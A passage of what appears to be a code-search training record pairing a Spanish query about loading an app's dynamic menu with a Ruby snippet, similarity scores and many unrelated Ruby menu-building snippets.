menu = MenuInlineTelegram.crear(acciones)\n texto = \"Tutoría elegida #{@tutoria.fecha}. Elija que desea hacer:\"\n @@bot.api.edit_message_text(chat_id: @ultimo_mensaje.id_chat, message_id: @ultimo_mensaje.id_mensaje, text: texto, reply_markup: menu, parse_mode: 'Markdown')\n end", "def menu(context={})\n \n app = context[:app]\n\n menu_items = [{:path => '/system',\n :options => {\n \t:title => app.t.system_admin_menu.system_menu,\n :description => 'System menu',\n :module => :system,\n :weight => 0\n }\n },\n {:path => '/system/logger', \n :options => {:title => app.t.system_admin_menu.logger,\n :link_route => \"/admin/logger\",\n :description => 'Reads the logs',\n :module => :system,\n :weight => 1}\n },\n {:path => '/system/business-events', \n :options => {:title => app.t.system_admin_menu.business_event,\n :link_route => \"/admin/business-events\",\n :description => 'Manages business events',\n :module => :system,\n :weight => 0}\n }\n ] \n \n end", "def set_bar_menu_item\n @bar_menu_item = BarMenuItem.find(params[:id])\n end", "def set_admin_menu\n @admin_menu = Admin::Menu.find(params[:id])\n end", "def index\n @menu_items = @menu.menu_items.all\n @menu_item = @menu.menu_items.build\n end", "def items_menu(**opt)\n unless administrator?\n hash = opt[:constraints]&.dup || {}\n user = hash.extract!(:user, :user_id).compact.values.first\n org = hash.extract!(:org, :org_id).compact.values.first\n if !user && !org && (user = current_user).present?\n added = (org = user.org) ? { org: org } : { user: user }\n opt[:constraints] = added.merge!(hash)\n end\n end\n opt[:sort] ||= { id: :asc }\n super(**opt)\n end", "def admin_menu_items\n menu = []\n menu.push([t(\"menu.home\"), admin_home_path, Proc.new {controller_name == \"home\"}])\n if current_user\n menu.push([t(\"menu.projects\"), admin_projects_path, Proc.new {controller_name == \"projects\" || controller_name == \"project_to_users\"}])\n menu.push([t(\"menu.users\"), admin_users_path, Proc.new {controller_name == \"users\"}])\n menu.push([t(\"menu.profile\"), admin_profile_path, Proc.new {controller_name == \"profile\"}])\n menu.push([t(\"menu.logout\"), logout_path])\n end\n menu\n end", "def set_menu_links\n @menu_link = [{\n link_name: 'Главная',\n link_path: root_path,\n link_class: 'home-class'\n }, {\n link_name: 'QR коды',\n link_path: qr_codes_path\n }, {\n link_name: 'Наши контакты',\n link_path: contacts_path\n }, {\n link_name: 'О нас',\n link_path: about_path\n }]\n\n @users_link = []\n if current_user\n @users_link.push({\n link_name: 'Выход',\n link_path: logout_path,\n link_method: :delete\n })\n else\n @users_link.push({\n link_name: 'Регистрация',\n link_path: new_user_path\n })\n @users_link.push({\n link_name: 'Войти',\n link_path: login_path\n })\n end\n end", "def set_admin_menu\n @admin_menu = Menu.find(params[:id])\n end", "def menu\n response[\"menu\"]\n end" ]
[ "0.6422874", "0.62731093", "0.62680507", "0.6233922", "0.6194415", "0.61502635", "0.61484414", "0.61484414", "0.61484414", "0.60961294", "0.608925", "0.60805655", "0.60748905", "0.6038914", "0.6038914", "0.59662557", "0.5921124", "0.58893704", "0.5887467", "0.58720475", "0.5827936", "0.5819477", "0.58192086", "0.58095324", "0.5799885", "0.5790233", "0.57851917", "0.57851917", "0.57851917", "0.57851917", "0.57851917", "0.57851917", "0.57851917", "0.57851917", "0.57851917", "0.57851917", "0.57851917", "0.57851917", "0.57851917", "0.57851917", "0.57851917", "0.57849103", "0.5769244", "0.5756805", "0.5752762", "0.5741315", "0.57325685", "0.5726882", "0.5718398", "0.5718398", "0.5718398", "0.57117337", "0.5667588", "0.5658575", "0.5646321", "0.5629126", "0.56110924", "0.5605271", "0.5605271", "0.5601274", "0.55999184", "0.55964553", "0.5595209", "0.5588566", "0.55825055", "0.5566258", "0.5563618", "0.55499274", "0.55474174", "0.55474174", "0.55474174", "0.5546235", "0.55414224", "0.55414224", "0.55391526", "0.5528162", "0.5525058", "0.5522548", "0.5519996", "0.5491643", "0.5490849", "0.5488127", "0.5482882", "0.5478605", "0.5474229", "0.5470983", "0.5463741", "0.5454352", "0.5452595", "0.5435735", "0.5432458", "0.54188967", "0.541888", "0.5417306", "0.5415726", "0.54139835", "0.53903717", "0.538484", "0.53806734", "0.53799623" ]
0.67245966
0
Fin mostrar_item_img Carga el menu dinamico de la aplicacion
def cargar_menu if session[:usuario] @opciones = Menu.find(:all, :order => 'padre, orden') else @opciones = [] end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def generate_menu\n @items = []\n @x = @window.width / 3 + Const::FONT_SMALL_SIZE\n @y = @title_image.height * @img_size_factor + Const::GAME_WIN_GAP\n n_g = proc { @window.state = GameState.new(@window, @window.width / 3, 40) }\n cr_n = proc { @window.state = NetSetupState.new(@window) }\n j_n = proc { @window.state = NetJoinState.new(@window) }\n exit = proc { @window.close }\n @items << MenuItem.new(@window, Const::MENU_NEW, 0, n_g, @font, @x, @y)\n @items << MenuItem.new(@window, Const::MENU_CREATE, 1, cr_n, @font, @x, @y)\n @items << MenuItem.new(@window, Const::MENU_JOIN, 2, j_n, @font, @x, @y)\n @items << MenuItem.new(@window, Const::MENU_QUIT, 3, exit, @font, @x, @y)\n end", "def mostrar_item(menu)\n\n\t\t# Si el item tiene url, controlador o accion, arma link, sino solo label\n\t\tif (menu.controller != '') or (menu.action != '') or (menu.url != '')\n\t\t\tif menu.url != ''\n\t\t\t\tlink_to menu.nombre, menu.url\n\t\t\telse\n\t\t\t\tlink_to menu.nombre, :controller => menu.controller, :action => menu.action\n\t\t\tend\n\t\telse\n\t\t\tmenu.nombre\n\t\tend\n\n\tend", "def on_create_options_menu(menu)\n\t\t\tm1 = menu.add('Dashboard')\n\t\t m1.set_icon Ruboto::R::drawable::info\n\t\t m1.set_show_as_action 2\n\t\t m1.set_on_menu_item_click_listener do |menu_item|\n\t\t\t toast menu_item.title\n\t\t\t true # Prevent other listeners from executing.\n\t\t end\n\n\t\t m2 = menu.add('Properties')\n\t\t m2.set_icon Ruboto::R::drawable::prop\n\t\t m2.set_show_as_action 2\n\t\t m2.set_on_menu_item_click_listener do |menu_item|\n\t\t\t\ttoast menu_item.title\n\t\t\t\ttrue # Prevent other listeners from executing.\n\t\t end\n\n\t\t m3 = menu.add('Settings')\n\t\t m3.set_icon Ruboto::R::drawable::settings\n\t\t m3.set_show_as_action 2\n\t\t m3.set_on_menu_item_click_listener do |menu_item|\n\t\t\t\ttoast menu_item.title\n\t\t\t\ttrue # Prevent other listeners from executing.\n\t\t end\n\n\t\t m4 = menu.add('More')\n\t\t m4.set_icon Ruboto::R::drawable::more\n\t\t m4.set_show_as_action 2\n\t\t m4.set_on_menu_item_click_listener do |menu_item|\n\t\t\t\ttoast menu_item.title\n\t\t\t\ttrue # Prevent other listeners from executing.\n\t\t end\n\t\t true # Display the menu.\n\tend", "def createMenu\n\n # File menu\n recordAction = @actions.addNew(i18n('Start Download'), self, \\\n { :icon => 'arrow-down', :triggered => :startDownload })\n reloadStyleAction = @actions.addNew(i18n('&Reload StyleSheet'), self, \\\n { :icon => 'view-refresh', :shortCut => 'Ctrl+R', :triggered => :reloadStyleSheet })\n clearStyleAction = @actions.addNew(i18n('&Clear StyleSheet'), self, \\\n { :icon => 'list-remove', :shortCut => 'Ctrl+L', :triggered => :clearStyleSheet })\n quitAction = @actions.addNew(i18n('&Quit'), self, \\\n { :icon => 'application-exit', :shortCut => 'Ctrl+Q', :triggered => :close })\n\n updateScheduleAction = @actions.addNew(i18n('Update Schedule'), @scheduleWin, \\\n { :shortCut => 'Ctrl+U', :triggered => :updateAllFilters })\n\n fileMenu = KDE::Menu.new('&File', self)\n fileMenu.addAction(recordAction)\n fileMenu.addAction(reloadStyleAction)\n fileMenu.addAction(clearStyleAction)\n fileMenu.addAction(updateScheduleAction)\n fileMenu.addAction(quitAction)\n\n\n # settings menu\n playerDockAction = @playerDock.toggleViewAction\n playerDockAction.text = i18n('Show Player')\n configureAppAction = @actions.addNew(i18n('Configure %s') % APP_NAME, self, \\\n { :icon => 'configure', :shortCut => 'F2', :triggered => :configureApp })\n\n settingsMenu = KDE::Menu.new(i18n('&Settings'), self)\n settingsMenu.addAction(playerDockAction)\n settingsMenu.addSeparator\n settingsMenu.addAction(configureAppAction)\n\n\n # Help menu\n aboutDlg = KDE::AboutApplicationDialog.new(KDE::CmdLineArgs.aboutData)\n openAboutAction = @actions.addNew(i18n('About %s') % APP_NAME, self, \\\n { :icon => 'irecorder', :triggered =>[aboutDlg, :exec] })\n openDocUrlAction = @actions.addNew(i18n('Open Document Wiki'), self, \\\n { :icon => 'help-contents', :triggered =>:openDocUrl})\n openReportIssueUrlAction = @actions.addNew(i18n('Report Bug'), self, \\\n { :icon => 'tools-report-bug', :triggered =>:openReportIssueUrl })\n openRdocAction = @actions.addNew(i18n('Open Rdoc'), self, \\\n { :icon => 'help-contents', :triggered =>:openRdoc })\n openSourceAction = @actions.addNew(i18n('Open Source Folder'), self, \\\n { :icon => 'document-open-folder', :triggered =>:openSource })\n\n\n helpMenu = KDE::Menu.new(i18n('&Help'), self)\n helpMenu.addAction(openDocUrlAction)\n helpMenu.addAction(openReportIssueUrlAction)\n helpMenu.addAction(openRdocAction)\n helpMenu.addAction(openSourceAction)\n helpMenu.addSeparator\n helpMenu.addAction(openAboutAction)\n\n # insert menus in MenuBar\n menu = KDE::MenuBar.new\n menu.addMenu( fileMenu )\n menu.addMenu( settingsMenu )\n menu.addSeparator\n menu.addMenu( helpMenu )\n setMenuBar(menu)\n end", "def init_menu\n @menubar = JMenuBar.new\n\n @file_menu = JMenu.new \"File\"\n @file_menu.set_mnemonic KeyEvent::VK_F\n\n @tools_menu = JMenu.new \"Tools\"\n @tools_menu.set_mnemonic KeyEvent::VK_T\n\n @help_menu = JMenu.new \"Help\"\n @help_menu.set_mnemonic KeyEvent::VK_H\n\n icon_path = File.expand_path(\"resources/icons/new.png\", File.dirname(__FILE__))\n @item_new = JMenuItem.new \"New\", (ImageIcon.new icon_path)\n @item_new.set_mnemonic KeyEvent::VK_N\n @item_new.set_accelerator KeyStroke.get_key_stroke(KeyEvent::VK_N, ActionEvent::CTRL_MASK)\n @item_new.add_action_listener do |e|\n self.clear_model\n @panel.repaint\n end\n\n icon_path = File.expand_path(\"resources/icons/Save16.gif\", File.dirname(__FILE__))\n @item_save = JMenuItem.new \"Save\", (ImageIcon.new icon_path)\n @item_save.set_mnemonic KeyEvent::VK_S\n @item_save.set_accelerator KeyStroke.get_key_stroke(KeyEvent::VK_S, ActionEvent::CTRL_MASK)\n @item_save.add_action_listener do |e|\n file_chooser = JFileChooser.new\n\n filter = FileNameExtensionFilter.new \"xml files\", \"xml\"\n\n file_chooser.set_accept_all_file_filter_used false\n file_chooser.addChoosableFileFilter filter\n\n ret = file_chooser.showDialog self, \"Save\"\n\n\n if ret == JFileChooser::APPROVE_OPTION\n file = file_chooser.getSelectedFile.absolute_path\n\n self.save_model file\n JOptionPane.show_message_dialog self, \"Model has been saved.\", \"Save file\", JOptionPane::INFORMATION_MESSAGE\n end\n end\n\n icon_path = File.expand_path(\"resources/icons/open.png\", File.dirname(__FILE__))\n @item_load = JMenuItem.new \"Load\", (ImageIcon.new icon_path)\n @item_load.set_mnemonic KeyEvent::VK_L\n @item_load.set_accelerator KeyStroke.get_key_stroke(KeyEvent::VK_L, ActionEvent::CTRL_MASK)\n @item_load.add_action_listener do |e|\n file_chooser = JFileChooser.new\n\n filter = FileNameExtensionFilter.new \"xml files\", \"xml\"\n file_chooser.set_accept_all_file_filter_used false\n file_chooser.addChoosableFileFilter filter\n ret = file_chooser.showDialog self, \"Load\"\n\n\n if ret == JFileChooser::APPROVE_OPTION\n file = file_chooser.getSelectedFile.absolute_path\n self.set_cursor(Cursor.get_predefined_cursor(Cursor::WAIT_CURSOR))\n self.load_model file\n self.set_cursor nil\n end\n end\n\n icon_path = File.expand_path(\"resources/icons/exit.png\", File.dirname(__FILE__))\n @item_exit = JMenuItem.new \"Exit\", (ImageIcon.new icon_path)\n @item_exit.set_mnemonic KeyEvent::VK_E\n @item_exit.set_accelerator KeyStroke.get_key_stroke(KeyEvent::VK_X, ActionEvent::CTRL_MASK)\n @item_exit.add_action_listener do |e|\n System.exit 0\n end\n\n icon_path = File.expand_path(\"resources/icons/image.png\", File.dirname(__FILE__))\n @item_export_to_jpg = JMenuItem.new \"Export to JPG\", (ImageIcon.new icon_path)\n @item_export_to_jpg.set_mnemonic KeyEvent::VK_J\n @item_export_to_jpg.set_accelerator KeyStroke.get_key_stroke(KeyEvent::VK_J, ActionEvent::CTRL_MASK)\n @item_export_to_jpg.add_action_listener do |e|\n file_chooser = JFileChooser.new\n\n filter = FileNameExtensionFilter.new \"jpg\", \"jpg\"\n file_chooser.set_accept_all_file_filter_used false\n file_chooser.addChoosableFileFilter filter\n ret = file_chooser.showDialog self, \"Export\"\n\n\n if ret == JFileChooser::APPROVE_OPTION\n file = file_chooser.getSelectedFile.absolute_path\n self.export_to_jpg file\n JOptionPane.show_message_dialog self, \"Model has been exported to JPG.\", \"Export model\", JOptionPane::INFORMATION_MESSAGE\n end\n end\n\n icon_path = File.expand_path(\"resources/icons/html.png\", File.dirname(__FILE__))\n @item_export_to_html = JMenuItem.new \"Export to HTML\", (ImageIcon.new icon_path)\n @item_export_to_html.set_mnemonic KeyEvent::VK_H\n @item_export_to_html.set_accelerator KeyStroke.get_key_stroke(KeyEvent::VK_H, ActionEvent::CTRL_MASK)\n @item_export_to_html.add_action_listener do |e|\n file_chooser = JFileChooser.new\n\n filter = FileNameExtensionFilter.new \"html\", \"html\", \"htm\"\n file_chooser.set_accept_all_file_filter_used false\n file_chooser.addChoosableFileFilter filter\n ret = file_chooser.showDialog self, \"Export\"\n\n\n if ret == JFileChooser::APPROVE_OPTION\n file = file_chooser.getSelectedFile.absolute_path\n self.export_to_template PATH_TO_TEMPLATE, file\n JOptionPane.show_message_dialog self, \"Model has been exported.\", \"Export model\", JOptionPane::INFORMATION_MESSAGE\n end\n end\n\n icon_path = File.expand_path(\"resources/icons/Information16.gif\", File.dirname(__FILE__))\n @item_about = JMenuItem.new \"About\", (ImageIcon.new icon_path)\n @item_about.set_mnemonic KeyEvent::VK_A\n @item_about.set_accelerator KeyStroke.get_key_stroke(\"F1\")\n @item_about.add_action_listener do |e|\n JOptionPane.show_message_dialog self, \"HIT-Modeler v0.5\\nAuthor: Stanislav Chren\\n2012\", \"About\", JOptionPane::PLAIN_MESSAGE\n end\n\n\n [@item_new,\n @item_save,\n @item_load,\n @item_exit].each{ |c| @file_menu.add c}\n\n [@item_export_to_jpg,\n @item_export_to_html].each{ |c| @tools_menu.add c}\n\n @help_menu.add @item_about\n\n @menubar.add @file_menu\n @menubar.add @tools_menu\n @menubar.add @help_menu\n self.set_jmenu_bar @menubar\n end", "def build_menu\n build_menu_title\n build_menu_body\n build_application\n end", "def build_menu(type)\n # Session Gtk::Menu\n menu_session = Gtk::Menu.new\n\n session_item_shell = Gtk::ImageMenuItem.new(\"Interact Session\")\n session_image_shell = Gtk::Image.new\n session_image_shell.set(Gtk::Stock::CONNECT, Gtk::IconSize::MENU)\n session_item_shell.set_image(session_image_shell)\n menu_session.append(session_item_shell)\n\n if (type == \"meterpreter\")\n meterpreter_separator = Gtk::SeparatorMenuItem.new\n menu_session.append(meterpreter_separator)\n\n # Meterpreter shell\n meterpreter_item_shell = Gtk::ImageMenuItem.new(\"Meterpreter Shell\")\n meterpreter_image_shell = Gtk::Image.new\n meterpreter_image_shell.set(Gtk::Stock::EXECUTE, Gtk::IconSize::MENU)\n meterpreter_item_shell.set_image(meterpreter_image_shell)\n # TODO\n # menu_session.append(meterpreter_item_shell)\n\n # sdapi/process\n meterpreter_proc_item_shell = Gtk::ImageMenuItem.new(\"Process\")\n meterpreter_proc_image_shell = Gtk::Image.new\n meterpreter_proc_image_shell.set(Gtk::Stock::INDEX, Gtk::IconSize::MENU)\n meterpreter_proc_item_shell.set_image(meterpreter_proc_image_shell)\n menu_session.append(meterpreter_proc_item_shell)\n\n # sdapi/fs\n meterpreter_fs_item_shell = Gtk::ImageMenuItem.new(\"Browse\")\n meterpreter_fs_image_shell = Gtk::Image.new\n meterpreter_fs_image_shell.set(Gtk::Stock::OPEN, Gtk::IconSize::MENU)\n meterpreter_fs_item_shell.set_image(meterpreter_fs_image_shell)\n menu_session.append(meterpreter_fs_item_shell)\n\n # Meterpreter shell signal\n meterpreter_item_shell.signal_connect('activate') do |item|\n if current = @selection.selected\n Msf::Ui::Gtk2::Console::Meterpreter.new(current)\n end\n end\n\n # Process signal\n meterpreter_proc_item_shell.signal_connect('activate') do |item|\n if current = @selection.selected\n Msf::Ui::Gtk2::Stdapi::Sys::Ps.new(current[O_SESSION])\n end\n end\n\n # Fs signal\n meterpreter_fs_item_shell.signal_connect('activate') do |item|\n if current = @selection.selected\n Msf::Ui::Gtk2::Stdapi::Fs.new(current[O_SESSION])\n end\n end\n end\n\n basic_separator = Gtk::SeparatorMenuItem.new\n menu_session.append(basic_separator)\n\n close_session_item_shell = Gtk::ImageMenuItem.new(\"Close Session\")\n close_session_image_shell = Gtk::Image.new\n close_session_image_shell.set(Gtk::Stock::CLOSE, Gtk::IconSize::MENU)\n close_session_item_shell.set_image(close_session_image_shell)\n menu_session.append(close_session_item_shell)\n\n session_item_shell.signal_connect('activate') do |item|\n if current = @selection.selected\n open_session(current)\n end\n end\n\n close_session_item_shell.signal_connect('activate') do |item|\n if session_iter = @selection.selected\n remove_session_iter(session_iter)\n end\n end\n\n return menu_session.show_all\n end", "def menu(context={})\n \n app = context[:app]\n \n menu_items = [{:path => '/cms/media',\n :options => {:title => app.t.media_admin_menu.album_management,\n :link_route => \"/admin/media/album\",\n :description => 'The albums admin tools to create and modify media albums.',\n :module => 'cms',\n :weight => 2}}] \n \n end", "def buildMenu\n template = File.read('_plugins/figma-menu.html.erb')\n result = ERB.new(template).result(binding)\n\n open(\"_includes/figma-menu.html\", \"wb\") { |file|\n file.write(result)\n file.close\n }\n\n end", "def Mostrar_menu\n puts \"______________________________\"\n puts \"\\n-----[[ RUBY RANGOS]-----\"\n puts \"______________________________\"\n puts \"1) Generación numérica\"\n puts \"2) Generación de letras\"\n puts \"3) Volver al Menu Principal\"\n puts \"______________________________\"\n print \"Opcion: \"\n end", "def finalize_menu\n \n return if skip_method(__method__) \n \n # save the menu items in a partial for inclusion in main menu\n template = File.read(template(\"rails/menu_container.erb\"))\n\n # #text = Erubis::Eruby.new(template).result(:menus => @@menus, :comments =>\n # @@comments)\n \n text = Erubis::Eruby.new(template).evaluate( self )\n \n filename = \"app/views/shared/_menu.html.erb\"\n puts \"finalize Rails menu in #{filename}\"\n\n # generate the output\n write_artifact(filename,text)\n \n # create a single page that lists the database tables with their comments\n template = File.read(template(\"rails/table_index.erb\"))\n\n # #text = Erubis::Eruby.new(template).result(:menus => @@menus, :comments =>\n # @@comments)\n \n text = Erubis::Eruby.new(template).evaluate( self )\n \n filename = \"app/views/shared/_index.html.erb\"\n puts \"finalize Rails menu index in #{filename}\"\n\n # generate the output\n write_artifact(filename,text)\n \n end", "def Mostrar_menu\n puts \"______________________________\"\n puts \"\\n-----[[ RUBY ARITMETICO]]-----\"\n puts \"______________________________\"\n puts \"1) Suma\"\n puts \"2) Resta\"\n puts \"3) División\"\n puts \"4) Multiplicación\"\n puts \"5) Potencia\"\n puts \"6) Residuo\"\n puts \"7) Volver al Menu Principal\"\n puts \"______________________________\"\n print \"Opcion: \"\n end", "def menu_items_html\n @menu_items = MenuItem.where(show: true, type_item: \"Головне меню\").order(order_item: :asc)\n\n @menu = '<ul class=\"nav navbar-nav\">'\n\n @menu_items.each do |m_a|\n if m_a.parent_id == 0\n @menu << \"<li class='dropdown'><a class='dropdown-toggle' aria-expanded='false' aria-haspopup = 'true' data-toggle = 'dropdown' href = '#{m_a.link}' role = 'button' target= 'blank'> #{m_a.title} <span class='caret'></span></a>\" if m_a.type_level == 'Заголовок меню'\n @menu << \"<li > <a href = '#{m_a.link}'> #{m_a.title} </span></a>\" if m_a.type_level == 'Пункт меню'\n\n get_children m_a.id, m_a.type_level\n\n @menu << '</li>'\n end\n end\n @menu << '</ul>'\n # $menu << @menu\n end", "def computeNewMenu\n @NewMenu = Wx::Menu.new\n @Controller.getIntegrationPlugins.each do |iPluginID, iPluginInfo|\n lNewMenuItem = Wx::MenuItem.new(@NewMenu, Wx::ID_ANY, iPluginInfo[:Title])\n lNewMenuItem.bitmap = @Controller.getPluginBitmap(iPluginInfo)\n @NewMenu.append_item(lNewMenuItem)\n # The event\n # Clone variables to make them persistent in the Proc context\n lPluginIDCloned = iPluginID\n evt_menu(lNewMenuItem) do |iEvent|\n @Controller.accessIntegrationPlugin(lPluginIDCloned) do |iPlugin|\n @DisplayedList << [\n lPluginIDCloned,\n [],\n true,\n iPlugin.getDefaultOptions,\n [ nil, nil ]\n ]\n end\n refreshList\n end\n end\n end", "def define_menu_items\n add_menu_item(\"File storage.\", 1)\n add_menu_item(\"Sqlite3.\", 2)\n end", "def getMenu(menu)\n menu.add_item(\"Done\") {self.done}\n menu.add_item(\"Edit Camera...\") {self.edit}\n menu.add_item(\"Reset Tilt\") {self.reset_tilt}\nend", "def menu(context={})\n \n app = context[:app]\n \n menu_items = [{:path => '/cms',\n :options => {:title => app.t.cms_admin_menu.cms_menu,\n :description => 'Content management', \n :module => 'cms',\n :weight => 10}},\n {:path => '/cms/newcontent',\n :options => {:title => app.t.cms_admin_menu.content_new,\n :link_route => \"/admin/cms/content/new\",\n :description => 'Creates a new content.',\n :module => 'cms',\n :weight => 6}}, \n {:path => '/cms/contenttypes',\n :options => {:title => app.t.cms_admin_menu.contenttype_management,\n :link_route => \"/admin/cms/content-types\",\n :description => 'Manages the content types: creation and update of content types.',\n :module => 'cms',\n :weight => 5}}, \n {:path => '/cms/contents',\n :options => {:title => app.t.cms_admin_menu.content_management,\n :link_route => \"/admin/cms/contents\",\n :description => 'Contents explorer.',\n :module => 'cms',\n :weight => 4}},\n {:path => '/cms/comments',\n :options => {:title => app.t.cms_admin_menu.comment_management,\n :link_route => \"/admin/cms/comments\",\n :description => 'Comments manager.',\n :module => 'cms',\n :weight => 3}}, \n {:path => '/cms/taxonomies', \n :options => {:title => app.t.cms_admin_menu.taxonomy_management,\n :link_route => \"/admin/cms/taxonomy\",\n :description => 'Manages the taxonomies: creation and update of taxonomies.',\n :module => 'cms',\n :weight => 2}},\n {:path => '/cms/templates', \n :options => {:title => app.t.cms_admin_menu.template_management,\n :link_route => \"/admin/cms/templates\",\n :description => 'Manages template: creation and update of template.',\n :module => 'cms',\n :weight => 1}}, \n {:path => '/cms/redirects',\n :options => {:title => app.t.cms_admin_menu.redirects_management,\n :link_route => \"/admin/cms/redirects\",\n :description => 'Redirects a content',\n :module => 'cms',\n :weight => 12}}, \n {:path => '/sbm',\n :options => {:title => app.t.cms_admin_menu.build_site_menu,\n :description => 'Site building',\n :module => 'cms',\n :weight => 9 }},\n {:path => '/sbm/blocks', \n :options => {:title => app.t.cms_admin_menu.block_management,\n :link_route => \"/admin/cms/blocks\",\n :description => 'Manage the blocks. It allows to discover and configure modules blocks.',\n :module => 'cms',\n :weight => 6}},\n {:path => '/sbm/views',\n :options => {:title => app.t.cms_admin_menu.view_management,\n :link_route => \"/admin/cms/views\",\n :description => 'Manage the views: creation and update of views.',\n :module => 'cms',\n :weight => 5}},\n {:path => '/sbm/menus', \n :options => {:title => app.t.site_admin_menu.menu_management,\n :link_route => \"/admin/cms/menu-management\",\n :description => 'Manage the menus. It allows to define custom menus.',\n :module => :cms,\n :weight => 7}}\n ] \n \n end", "def menu_items\n\n menu.items(self)\n\n end", "def goldberg_suckerfish_menu\n \n\n render :file => \"#{RAILS_ROOT}/vendor/plugins/goldberg/app/views/goldberg/menu_items/_suckerfish.rhtml\", :use_full_path => false, :locals => {:items => Goldberg.menu.get_menu(0)}\n end", "def create_menus\n @file_menu = menu_bar.add_menu(tr(\"&File\"))\n @currency_menu = menu_bar.add_menu(tr(\"&Currency\"))\n @currency_menu.add_action(@import_file_action)\n @currency_menu.add_action(@import_url_action)\n @token_menu = menu_bar.add_menu(tr(\"&Token\"))\n @token_menu.add_action(@verify_action)\n @token_menu.add_action(@reissue_action)\n menu_bar.add_separator\n @help_menu = menu_bar.add_menu(tr(\"&Help\"))\n @help_menu.add_action(@about_action)\n end", "def camino_retorno(menuname, pmenu_item, ptipo)\n sql = \" \"\n resstr = \" \"\n mdescr = \" \"\n if ptipo == 'I' #si recibe el menu_item\n sql = \" AND opc_item = '#{pmenu_item}'\"\n else #si recibe menu_controller \n sql = \" AND opc_controller = '#{pmenu_item}'\"\n end\n menutblcaminos = Vgemenuroute.where(\"menu_cod = '#{menuname}' \"+sql)\n menutblcaminos.each do |camino|\n mcontroller = camino.menu_controller\n\t vdescr = I18n.t('menu.'+mcontroller)\n\t if vdescr.empty? \n\t mdescr = camino.menu_descr\n\t else \n\t if vdescr['missing'] == 'missing' \n\t mdescr = camino.menu_descr\n\t\telse\n\t\t\tmdescr = vdescr\n\t\tend\n\t end\n case camino.item_type \n\t when 'R'\n\t resstr += link_to(mdescr, root_path)\n\t when 'N'\n\t\t vurl = url_for({:controller => 'home', :action => 'index', :itemnode=>camino.menu_item})\n\t\t resstr += \" >> \"+link_to(mdescr, vurl, :class => 'quick')\n\t else\n resstr += \" >> \"+link_to(mdescr, url_for( {:controller => camino.menu_controller }))\t \n\t end\n end\n return resstr\n end", "def getMenu(menu)\n end", "def menu(context={})\n \n app = context[:app]\n\n menu_items = [ \n ] \n \n end", "def menu(context={})\n \n app = context[:app]\n\n menu_items = [ \n ] \n \n end", "def call_menu\n return if $game_system.menu_disabled\n Sound.play_open_menu\n @spriteset.clear_banners\n#~ if @spriteset.banners?\n#~ bs = @spriteset.title_banners ? @spriteset.title_banners : []\n#~ pb = @spriteset.party_banners ? @spriteset.party_banners : []\n#~ rb = @spriteset.red_banners ? @spriteset.red_banners : []\n#~ $game_temp.remember_banners = [[bs],[pb],[rb]]\n#~ $game_temp.remember_banner_phase = [@spriteset.tickdown,@spriteset.banner_phase]\n#~ $game_temp.remember_joiners = @spriteset.joiners\n#~ $game_temp.remember_leavers = @spriteset.leavers\n#~ $game_temp.remember_removed = @spriteset.removed\n#~ $game_temp.remember_header = @spriteset.header_banner\n#~ $game_temp.remember_posx = @spriteset.posx\n#~ end\n SceneManager.call(Scene_Menu)\n Window_MenuCommand::init_command_position\n end", "def gestionBarreMenu()\n\t\tFenetre::boutonMenu_barre.signal_connect('clicked'){\n\t\t\tmessageQuestion = Fenetre::creerPopup(\"Voulez-vous vraiment abandonner l'apprentissage et revenir au menu principal?\", \"YES_NO\")\n\t\t if(messageQuestion.run() == Gtk::ResponseType::YES)\n\t\t \tCore::changeTo(\"Menu\", \"pseudo\": @pseudo)\n\t\t end\n\t\t messageQuestion.destroy()\n\t\t}\n\t\tFenetre::boutonSauvegarder_barre.signal_connect('clicked'){\n\t\t}\n\t\tFenetre::boutonReinit_barre.signal_connect('clicked'){\n\t\t}\n\t\tFenetre::boutonQuitter_barre.signal_connect('clicked'){\n\t\t\tmessageQuestion = Fenetre::creerPopup(\"Voulez-vous vraiment abandonner l'apprentissage et quitter l'application?\", \"YES_NO\")\n\t\t if(messageQuestion.run() == Gtk::ResponseType::YES)\n\t\t \tFenetre::detruire()\n\t\t end\n\t\t messageQuestion.destroy()\n\t\t}\n\t\tFenetre::boutonPauseChrono_barre.signal_connect('clicked'){\n\t\t\tHeader::pause = true\n\t\t}\n\t\tFenetre::boutonPlayChrono_barre.signal_connect('clicked'){\n\t\t\tHeader::pause = false\n\t\t}\n\t\tFenetre::boutonAnnuler_barre.signal_connect('clicked'){\n\t\t}\n\t\tFenetre::boutonRetablir_barre.signal_connect('clicked'){\n\t\t}\n\n\t\t#disabled\n\t\tFenetre::boutonSauvegarder_barre.set_sensitive(false)\n\t\tFenetre::boutonReinit_barre.set_sensitive(false)\n\t\tFenetre::boutonAnnuler_barre.set_sensitive(false)\n\t\tFenetre::boutonRetablir_barre.set_sensitive(false)\n\tend", "def default\n html = '<div class=\"menu0-div\"><ul>'\n @selected = find_selected\n level_0 = DcBigMenu.where(dc_site_id: @site._id, parent: nil, active: true).sort(order: 1).to_a\n level_0.each do |item|\n# menu can be hidden from user \n can_view, msg = dc_user_can_view(@parent, item)\n next unless can_view\n klas = item.id == @selected.id ? \"menu0-selected\" : \"menu0-item\"\n html << \"<li class='#{klas}'>#{ link_4menu(item) }</li>\\n\"\n end\n html << \"</ul></div>\"\n# submenu\n level_1 = DcBigMenu.where(dc_site_id: @site._id, parent: @selected.id, active: true).sort(order: 1).to_a\n html << \"<div class='menu1-div'><ul>\\n\"\n level_1.each do |item1|\n# menu can be hidden from user \n can_view, msg = dc_user_can_view(@parent, item1)\n next unless can_view\n html << \" <li class='menu1-item'>#{link_4menu(item1)}</li>\\n\"\n end\n html << '</ul></div>'\nend", "def init_menu\n @menus.set_selected(\"teambox\")\n @menus.set_selected(\"licenses\")\n end", "def menu_items\n elements = []\n\n if display_parent_work && display_parent_work.rights.present?\n elements << \"<h3 class='dropdown-header'>Rights</h3>\".html_safe\n elements << rights_statement_item\n elements << \"<div class='dropdown-divider'></div>\".html_safe\n end\n\n if has_work_download_options?\n elements << \"<h3 class='dropdown-header'>Download all #{display_parent_work.member_count} images</h3>\".html_safe\n whole_work_download_options.each do |download_option|\n elements << format_download_option(download_option)\n end\n elements << \"<div class='dropdown-divider'></div>\".html_safe\n end\n\n if viewer_template_mode?\n elements << \"<h3 class='dropdown-header'>Download selected image</h3>\".html_safe\n elements << '<div data-slot=\"selected-downloads\"></div>'.html_safe\n elsif asset_download_options\n elements << \"<h3 class='dropdown-header'>Download selected #{thing_name}</h3>\".html_safe\n asset_download_options.each do |download_option|\n elements << format_download_option(download_option)\n end\n end\n\n safe_join(elements)\n end", "def 